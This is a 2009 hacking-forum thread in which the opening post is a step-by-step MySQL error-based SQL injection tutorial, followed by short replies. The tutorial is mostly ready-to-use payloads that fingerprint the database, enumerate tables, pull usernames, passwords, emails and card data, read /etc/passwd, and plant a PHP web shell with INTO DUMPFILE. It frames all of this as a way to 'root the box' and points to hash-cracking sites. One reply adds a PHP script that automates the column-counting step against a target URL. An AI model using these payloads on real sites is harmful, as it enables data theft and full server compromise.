Cenzic 232 Patent
Paid Advertising
sla.ckers.org is
ha.ckers sla.cking
Sla.ckers.org
How do you completely compromise a machine given a text box or badly validated input box? This is a place to talk about code issues (PHP includes, null byte injection, backticks, pipe, etc...) as well as how to properly construct an SQL injection attack. 
Go to Topic: PreviousNext
Go to: Forum ListMessage ListNew TopicSearchLog In
(MySQL) SQL Injection Tutorial - By pr0digy
Posted by: pr0digy
Date: July 05, 2009 11:31PM

"Web Application Vulnerabilities - Performed/Tutorialized"

(MySQL) Error Based SQL Injection Tutorial - By pr0digy

--------------------------------
Table of c0ntents
--------------------------------
0x01 - Disclaimer
0x02 - Introduction
0x03 - Fuzzing
0x04 - "Order by" or "Union all select"
0x05 - Database Version & Schema_Name's
0x06 - Viewing Tables & Columns
0x07 - Pulling The Sensitive Information
0x08 - Load_File('etc/passwd')
0x09 - Into Outfile & Into DumpFile
0x0A - Bypassing IDS & IPS's
0x0B - Conclusion


------------0x01----------------
"Disclaimer"
--------------------------------

Please note that I (The Author) will not take any responsibility for your actions. You (The reader)
have the will to use this tutorial for whatever the need be: Such as Pen-Testing or simply just to be
educated on how the attacks are performed, and what damage can be done; You take full responsibility
for you own actions...

------------0x02----------------
"Introduction"
--------------------------------

Hello, My name is pr0digy. For the past 2 1/2 years the topic Information-Security has always intrigued
me. In that period of time; I've learned various techniques such as SQL Injection, Cross-Site Scripting, Buffer
Over-Flows, and more. The hacking community has supplied me with the resources (White Papers, Articles, Videos..
etc.) that i needed to learn, understand, and perform the various attacks that are still here to this present day;
Because of this i feel the need to return the favor, and contribute my own work.

This article will show you how to successfully attack an SQL Injection vulnerability. The type of SQL attack is
called "Error Based". Please note that this article pertains only to sites running a MySQL database. I have written
articles on other databases, So that you may learn the commands/statements for them as well. Names are located below...

(MS-SQL) SQL Injection Tutorial - By pr0digy
(MS-Access/JetDB) SQL Injection Tutorial - By pr0digy
(Postgres) SQL Injection Tutorial - By pr0digy

If you have any questions or "Constructive Critisism" please email or Instant-Message me at one of the emails below.

MSN/Live - pr0digy.69@live.com
Yahoo - covert.pickle@yahoo.com
X-Fire - pickle528

------------0x03----------------
"Fuzzing & The Vectors Being Used"
--------------------------------

Fuzzing in a "Error Based" SQL Injection's case is the act of inserting a "Character" used in a SQL statement
into a Script's Paramater, Cookie Value, or a Input Box within a form; What we hope to get out of this is an
"Error Response". An example of these are below.

Vulnerable Script's Paramater*
www.site.com/script.php?param=36'a"
www.site.com/script.php?param=Text'a"

Cookie Value*
Name: UserCookie
Content: userid=34&content=Sometext'
Domain: .Somesite.com
Path: /

The fuzzing vector used was a simple apostrophe followed by an (a"). The error that should have been shown would
have looked like...

Ex.
"Error: 1064 You have an error in your SQL syntax"

Ex.
"Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
version for the right syntax to use near 'Something' AND Something > ('Something')' at line 1"

Ex.
"Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /mysite/functions
/database.php on line 152"

You may not always see an "Error Response", So you may just get a blank page. In some cases you will just
Get redirected to some other page, or the same page will come up just the way it was before the fuzzing began;
Which means it may be a "Boolean Logic Based" aka "Blind SQL Injection", Or just not even injectable at all.
Also a quick reminder... this article will "not" be teaching "Blind SQL Injection" attacks. So bottom line if
you recieve an error, then you have a vulnerable site.

Some more fuzzing vectors that can be used are:

Integer Based*
www.site.com/script.php?param=36'
www.site.com/script.php?param='36'
www.site.com/script.php?param=(12+24)
www.site.com/script.php?param=%
www.site.com/script.php?param=36'a

String Based*
www.site.com/script.php?param=Text'--
www.site.com/script.php?param=Te'+'xt
www.site.com/script.php?param=Tex%


------------0x04----------------
"Order by" or "Union all select?"
--------------------------------

The next step after you find your vulnerable site is to: Find the number of columns. The statments' we'll use
are "Order By" and "Union All Select". Some of you may be saying "Why Union all select?; Why not just use Order By?",
Well "Order By" works... but sometimes it doesn't, and then thats when we just use the good old "Union all select"
Statement. So that being said lets go over some examples for the "Order by" statement.

"Order By 1--"

www.site.com/script.php?param=36
- Normal page "should" be displayed
www.site.com/script.php?param=36+order+by+1--
- Normal page is displayed
www.site.com/script.php?param=36+order+by+2--
- Normal page is displayed
www.site.com/script.php?param=36+order+by+3--
- Normal page is displayed
www.site.com/script.php?param=36+order+by+4--
- Error Response... (Unknown column '4' in 'order clause')

Note: There are some cases were the column number can reach "50" or higher.

So by recieving the error above; You now know the correct amount columns that are available to start crafting your
"Union" statement... In this case, There are "3" Columns. One thing i should mention is... The comments may be different
for each site you "pentest" ;D... What i mean is the double-dash at the end of the query may need to be changed if you
run into a problem, Were the query doesn't get executed or a mysql error gets spit out.

Ex.
Order By 1-- -
Order By 1/*
Order By 1#
Order By 1%00 (Don't count on the nullbyte working... lol. It's mostly for MS Access/Jet DB.)

Our second option is to use the "Union All Select" statement. You may just skip the "Order By" statement, and go straight
to the "Union" statement. You've found the right amount of columns when a malformed page is displayed with random numbers on it.

"Union All Select 1--"

www.site.com/script.php?param=36
- Normal page "should" be displayed
www.site.com/script.php?param=-36+union+all+select+1--
- Error Response "should" be displayed
www.site.com/script.php?param=-36+union+all+select+1,2--
- Error Response "should" be displayed
www.site.com/script.php?param=-36+union+all+select+1,2,3--
- An empty page with various numbers should be displayed!

Note: There are some cases were the column number can reach "50" or higher. Be prepared...

So now you have found the number of available columns within the page, and can now start the next step.

------------0x05----------------
"Database Version & Schema_Name's"
--------------------------------

Now that you've found the number of columns associated with the page, Let's pull some essential information. We'll be using the (@@Version
, Version(), Database(), User()) statments to pull vital info, that is needed to determine what resources are readily available such as the
"Information_schema". To start; You will include the above commands into the "Union" statement.

Ex.
www.site.com/script.php?param=-36+union+all+select+1,@@Version,3--
- The version of the MySql database should be shown where the number "2" was displayed on the page. If you run in to an error
stating "Illegal mix of collations", Then simply use "unhex(hex(@@version))".
- (5.0.32 "Server Operating-System"-Log)

Ex.
www.site.com/script.php?param=-36+union+all+select+1,Version(),3--
- The version of the MySql database should be shown where the number "2" was displayed on the page.
- (5.0.32 "Server Operating-System"-Log)

Ex.
www.site.com/script.php?param=-36+union+all+select+1,User(),3--
- The current user of the MySql database should be shown where the number "2" was displayed on the page.
- ("User@localhost")

Ex.
www.site.com/script.php?param=-36+union+all+select+1,Database(),3--
- The name of the current database being used by the vulnerable site should be shown where the number "2" was displayed on the page.
- (Database_Name)

You can also use the concat() function to pull multiple values at once, and keep it tidy.

Ex.
www.site.com/script.php?param=-36+union+all+select+1,concat(version(),0x3a,user(),0x3a,database()),3--
- The MySQL Version, DB User, and DB Name will be shown where the number "2" was displayed on the page.
Note: "0x3a" is Hex for a colon (" : "), and will be included between each value being displayed.
- (5.0.32 "Server Operating-System"-Log:User@localhost:Database_Name)

So we now know the version of the MySQL DB, and that it's "5.0.32". If the version is 5.0.0 or higher, Then we will have access to the
Information_Schema; If the version is lower than 5.0.0, Then there will be no "Information_Schema". If there is no "Information_Schema"; We
will have to guess the tables and columns... and thats gay. Bottom line this information can give you a heads-up on what resources are readily
available for you to use. Since the example server is running v.5.0.32 lets use the Information_Schema to show us all the stored DB Names or
known as Schema_Names...

Ex.
www.site.com/script.php?param=-36+union+all+select+1,schema_name,3 from information_schema.schemata--
- All the schema's (Database Names) will be displayed in the "2nd" column.

O.K! Next Chapter...


------------0x06----------------
"Viewing Tables & Columns"
--------------------------------

Depending on the version of the DB; You may run into and issue. If the version is less than 5.0.0, then we'll have to guess the columns
manually (Which i will explain first). On the other hand... Most of the time you will be dealing with version 5.0.0 or higher, and the
Information_schema will be availible for you to use (Which i will explain second). Now this is where I stop blabbering, and bring in the examples.

MySQL v.4

Finding Table Names*

Ex.
www.site.com/script.php?param=-36+union+all+select+1,2,3 from admin--
- If the page is displayed correctly with the corresponding column numbers being shown, then the table "admin" exists. If an
"Error Response" is shown, then the table doesn't exist. Try different table names such as stated below.
- (User, Users, Admin, Admin_user, Members) Just be creative...

Finding Column Names*

Ex.
www.site.com/script.php?param=-36+union+all+select+1,username,3 from admin--
- If the page is displaying a large number of values within the "2nd" column, then the column "username" exists within the table
"admin". If an "Error Response" is shown, then the column doesn't exist. Try different column names such as stated below.
- (Email, Password, User) Just be creative...

MySQL v.5 (Using the Information_Schema)

If the database running on the server is v5.0.0 or higher, then the information_schema is availible for you to use; This makes the process
alot easier for the attacker, and gives him more information about the columns, tables, privileges etc... To summarize what will be happening
below: We first pull the names of all the tables, then pull all the names for the columns. That's easy enough right? We'll lets begin.

Finding Table Names*

Ex.
www.site.com/script.php?param=-36+union+all+select+1,table_name,3 from information_schema.tables--
- All the tables residing on the SQL server will be displayed in an "Top" to "Bottom" format.


Finding Column Names*

Ex.
www.site.com/script.php?param=-36+union+all+select+1,column_name,3 from information_schema.columns--
- All the columns residing on the SQL server will be displayed in an "Top" to "Bottom" format.

----------------------------

Dealing With Broken Columns*

If you run into the problem; where only "1" of the values are being displayed, Then simply fix this issue by using one of the two methods:

Ex.
www.site.com/script.php?param=-36+union+all+select+1,group_concat(column_name),3 from information_schema.columns where table_schema=database()--
- Only the current database()'s columns (Excluding the information_schema tables) will be shown. Only 1024 characters can be shown using the
group_concat() function, But if anyone thinks they can get around it contact me.

Or you can just pick another column to pull data from....

Ex.
www.site.com/script.php?param=-36+union+all+select+column_name,2,3 from information_schema.columns--

* & *

www.site.com/script.php?param=-36+union+all+select+1,2,column_name from information_schema.columns--
- Some of the vulnerable columns seem to display information in a "horizontal" format, Just simply find one that doesn't...

----------------------------

Finding Column Names Within a Corresponding Table*

If you would like to list columns from a particular table, Then you would simply use the statement below...

Ex.
www.site.com/script.php?param=-36+union+all+select+1,column_name,3 from information_schema.columns where table_name='Admin'--
- This will display all the columns that are contained within the "admin" table. Making it easier for you to narrow down your search for
a particular group of data.

Note: If Magic_Quotes is enabled then you will have to hex encode the string: 'Admin'

Ex.
www.site.com/script.php?param=-36+union+all+select+1,column_name,3 from information_schema.columns where table_name=0x2761646d696e27--


------------0x07----------------
"Extracting The Sensitive Information"
--------------------------------

In this section of the article i'll discuss how to pull sensitive information such as: Usernames, Passwords, Emails, Addresses, Phone-Numbers,
CC Numbers, CC Pin Codes, Exp Dates, and etc.. from the columns that you have acquired. I will also give a better description on the concat() and
group_concat() function. This section will explain the final step for pulling information from the database, So let's start with some examples...

Ex.
www.site.com/script.php?param=-36+union+all+select+1,concat(username,0x3a,password,0x3a,email),3 from admin--
- Use the concat() function to pull multiple columns at once, and then all we do is add "from 'table name'--" to the end of the statment.
This should be simple enough for you to understand... right? In case your wondering... The columns stated above came out of the "admin" table,
When we ran the "union+all+select+1,column_name,3 from information_schema.columns where table_name='Admin'--" statement.

If your trying to pull the contents of a column that resides in a different schema; You must state the schema name, Seperated by a ".", and then
followed by the table name within the from statement.

Ex.
www.site.com/script.php?param=-36+union+all+select+1,concat(username,0x3a,password,0x3a,email),3 from schema_name.table_name--
- Umm... Yah not much to say here. It "should" be easily understood.


After you execute the above line; You will see a list of usernames, passwords, and emails. The password will most likely be hashed, and the algorithm
is usually md5. You can use the following to crack it...

http://www.plain-text.info/
http://www.milw0rm.com/cracker/
http://www.md5crack.com/


------------0x08----------------
"Load_File('etc/passwd')"
--------------------------------

In sections 3 through 7 you learned how to succesfully gather up enough information to craft a working union statement; that gives you personally
identifiable information, admin credentials and so on. Now we will learn how to use the load_file command that let us read the contents of any file
contained within the webserver. One of the files we'll discuss is "etc/passwd". Now lets begin reading abitrary files!

Ex.
www.site.com/script.php?param=-36+union+all+select+1,load_file('etc/passwd'),3--
- Now as long as magic_quotes is "not" enabled, You should be able to view the etc/passwd file. Which will look something like this...

- root:!:0:0::/:/usr/bin/ksh
daemon:!:1:1::/etc:
bin:!:2:2::/bin:
sys:!:3:3::/usr/sys:
adm:!:4:4::/var/adm:
uucp:!:5:5::/usr/lib/uucp:
guest:!:100:100::/home/guest:

If magic_quotes is enabled then you will have to obfuscate the quotes within the load_file value. Simply enough all you will have to do is hex
the value and your ready to go. So instead of ('etc/passwd'), We will use (0x276574632f70617373776427). This will bypass magic_quotes and allow us
to continue with our injection.

Ex.
www.site.com/script.php?param=-36+union+all+select+1,load_file(0x276574632f70617373776427),3--

Remember you are not limited to just the etc/passwd file. You can use it to read whatever you want... so just be creative.

------------0x09----------------
"Into Outfile & Into DumpFile"
--------------------------------

Let's use this sql injection flaw for everything that its got, and root the box. The "Into Outfile & Into DumpFile" can either take the contents from
a column and place them in a nice text file for cleanliness purposes, or we can use it for more devious activities such as uploading a vulnerable php script
and performing a remote file inclusion, or cmd execution.

Reminders of the "Into Outfile & Into DumpFile" command:
-----------------------------------------------------------
1. You can "NOT" modify existing files using the into dumpfile or outfile cmd...
2. Magic_quotes_gpc must be disabled... No hexing or char encoding will work.

Dumping a columns content into a text file*

Ex.
www.site.com/script.php?param=-36+union+all+select+null,passwd,null from admin_acc into dumpfile 'C:/SomeDir/SomeDir/Somefile.txt'--
- The "password" column's content is extracted, and placed in a newly created file named "somefile.txt". To find a suitable directory;
Use path disclosure technique's. look in error messages' that you've recieved, or use the following...

Ex.
www.site.com/script.php?param[]=36

- Warning: main(): Unable to access ../../../config.php in /[info]/www/html/mainfile.php on line 104

- Warning: main(../../../config.php): failed to open stream: No such file or directory in /[info]/www/html/mainfile.php
on line 104

- Fatal error: main(): Failed opening required '../../../config.php' (include_path='.:/php/includes:/usr/share/php') in /[info]/
www/html/mainfile.php on line 104

Creating a shell*

Ex.
www.site.com/script.php?param=-36+union+all+select+null,'<? system($_GET['c']); ?>',null into dumpfile 'C:/SomeDir/SomeDir/Somefile.php'--
- The PHP code from the second column, will be placed in the file "somefile.php". You can then point your browser to the file path, and
do as you please. You can change the code up as needed, and include RFI vulnerablitities or whatever. "Null" should be placed in the columns
to avoid having a bunch of numbers in the php code. You may hex the '<? system($_GET['c']); ?>' if needed, but be aware of the fact that you
can't encode the path where the file will be placed.


------------0x0A----------------
"Bypassing IDS & IPS's"
--------------------------------

Coming Soon...

Sorry, I decided to make this section a tutorial of its own. I would like to get into alot of the terminology, and really get in depth with all the
SQL database's.

/* Im a CoM/**/mEnt thAt 'Ta'+'kes' uPTo 0x4d756368205370616365 */ /* Im a CoM/**/mEnt thAt 'Ta'+'kes' uPTo 0x4d756368205370616365 */
/* Im a CoM/**/mEnt thAt 'Ta'+'kes' uPTo 0x4d756368205370616365 */ /* Im a CoM/**/mEnt thAt 'Ta'+'kes' uPTo 0x4d756368205370616365 */
/* Im a CoM/**/mEnt thAt 'Ta'+'kes' uPTo 0x4d756368205370616365 */ /* Im a CoM/**/mEnt thAt 'Ta'+'kes' uPTo 0x4d756368205370616365 */
/* Im a CoM/**/mEnt thAt 'Ta'+'kes' uPTo 0x4d756368205370616365 */ /* Im a CoM/**/mEnt thAt 'Ta'+'kes' uPTo 0x4d756368205370616365 */
/* Im a CoM/**/mEnt thAt 'Ta'+'kes' uPTo 0x4d756368205370616365 */ /* Im a CoM/**/mEnt thAt 'Ta'+'kes' uPTo 0x4d756368205370616365 */
/* Im a CoM/**/mEnt thAt 'Ta'+'kes' uPTo 0x4d756368205370616365 */ /* Im a CoM/**/mEnt thAt 'Ta'+'kes' uPTo 0x4d756368205370616365 */
/* Im a CoM/**/mEnt thAt 'Ta'+'kes' uPTo 0x4d756368205370616365 */ /* Im a CoM/**/mEnt thAt 'Ta'+'kes' uPTo 0x4d756368205370616365 */
/* Im a CoM/**/mEnt thAt 'Ta'+'kes' uPTo 0x4d756368205370616365 */ /* Im a CoM/**/mEnt thAt 'Ta'+'kes' uPTo 0x4d756368205370616365 */


------------0x0B----------------
"Conclusion"
---------------------------------

So hopefully from this article, you've learned how to extract data, view arbitrary files, and upload a shell. I really don't have much to say here as
I'm tired and need sleep. If there's any errors within this article; Let me know, Because even a simple spelling mistake (If in the right place.) can throw
a reader off. Your input is always appreciated. If you have any questions regarding this or any other article i've posted feel free to contact me. My contact
information can be found in the introduction.

Some helpful resources...

www.milw0rm.com
www.waraxe.us
sla.ckers.org/
www.google.com
- Start using your dorks to find .ppt, and pdf's.

Article Written By: pr0digy



Edited 3 time(s). Last edit at 07/16/2009 05:59PM by pr0digy.

Options: ReplyQuote
Re: (MySQL) SQL Injection Tutorial - By pr0digy
Posted by: wireghoul
Date: July 06, 2009 08:02PM

I was expecting

0x01 - Disclaimer
0x02 - Introduction
0x03 - Fuzzing
0x04 - "Order by" or "Union all select"
0x05 - Database Version & Schema_Name's
0x06 - Viewing Tables & Columns
0x07 - Pulling The Sensitive Information
0x08 - Load_File('etc/passwd')
0x09 - Into Outfile & Into DumpFile
0x0A - Bypassing IDS & IPS's
0x0B - Conclusion

And your numbers skew to 0x010 and 0x011 in the text which don't match the TOC. Other than that it looks like a good tutorial, keeop it up.

[www.justanotherhacker.com]

Options: ReplyQuote
Re: (MySQL) SQL Injection Tutorial - By pr0digy
Posted by: gfailure
Date: July 10, 2009 12:11AM

great tut there; keep more goin' ..

Options: ReplyQuote
Re: (MySQL) SQL Injection Tutorial - By pr0digy
Posted by: aew
Date: July 16, 2009 11:28AM

Nice tutorial!

Speaking of getting the number of columns in the table (column 0x04)
A time ago I wrote a php-script for that:

<?php

function result($res, $cur=1) {
	if(!$res) {
		/*** Uncomment for debugging ***/
		/*global $u, $c, $v;
		$furl = $u.urlencode($v." ORDER BY 1 ".$c);
		print("<b>Vars:</b><ul />");
		print("<li>COM= <i>$c</i></li>");
	        print("<li>URL= <i>$u</i></li>");
		print("<li>VAR= <i>$v</i></li>");
		print("<li>THE FULL URL: <i>$furl</i>");*/

		print("<br />No result..");
		die;
	} else {
		$cur--;
		die("<b>$cur</b> column(s)");
	}
}

if(isset($_GET['com']) && isset($_GET['url']) && isset($_GET['var'])) {

	$u = $_GET['url'];
	$c = $_GET['com'];
	$v = $_GET['var'];

	for($cur=1;$cur < 100;$cur++) { /* testing up to 100 cols */
		$url  = $u.urlencode($v." ORDER BY ".$cur.$c);
		$test = file_get_contents($url, null, null, null, 15);
		if(preg_match("/^Unknown column/", $test)) {
			result(true, $cur); /* success! */
		}
	}
	
	result(false); /* fail.. */

} else {
	die("No post data found.."); /* tip: replace # with %23 */
}

?>

The script isn't optimal, but it's okey IMO :)



Edited 3 time(s). Last edit at 07/18/2009 09:46AM by aew.

Options: ReplyQuote
Re: (MySQL) SQL Injection Tutorial - By pr0digy
Posted by: Chuks
Date: August 03, 2009 07:57AM

Same old stuff....

Anyway thanks pr0digy, last time i heard of you was in h4cky0u, the old one.

Options: ReplyQuote
Re: (MySQL) SQL Injection Tutorial - By pr0digy
Posted by: XaDoS
Date: August 07, 2009 08:38PM

very nice tutorial ! congratz and thanks for explaining very well the into outfile part

Options: ReplyQuote


Sorry, only registered users may post in this forum.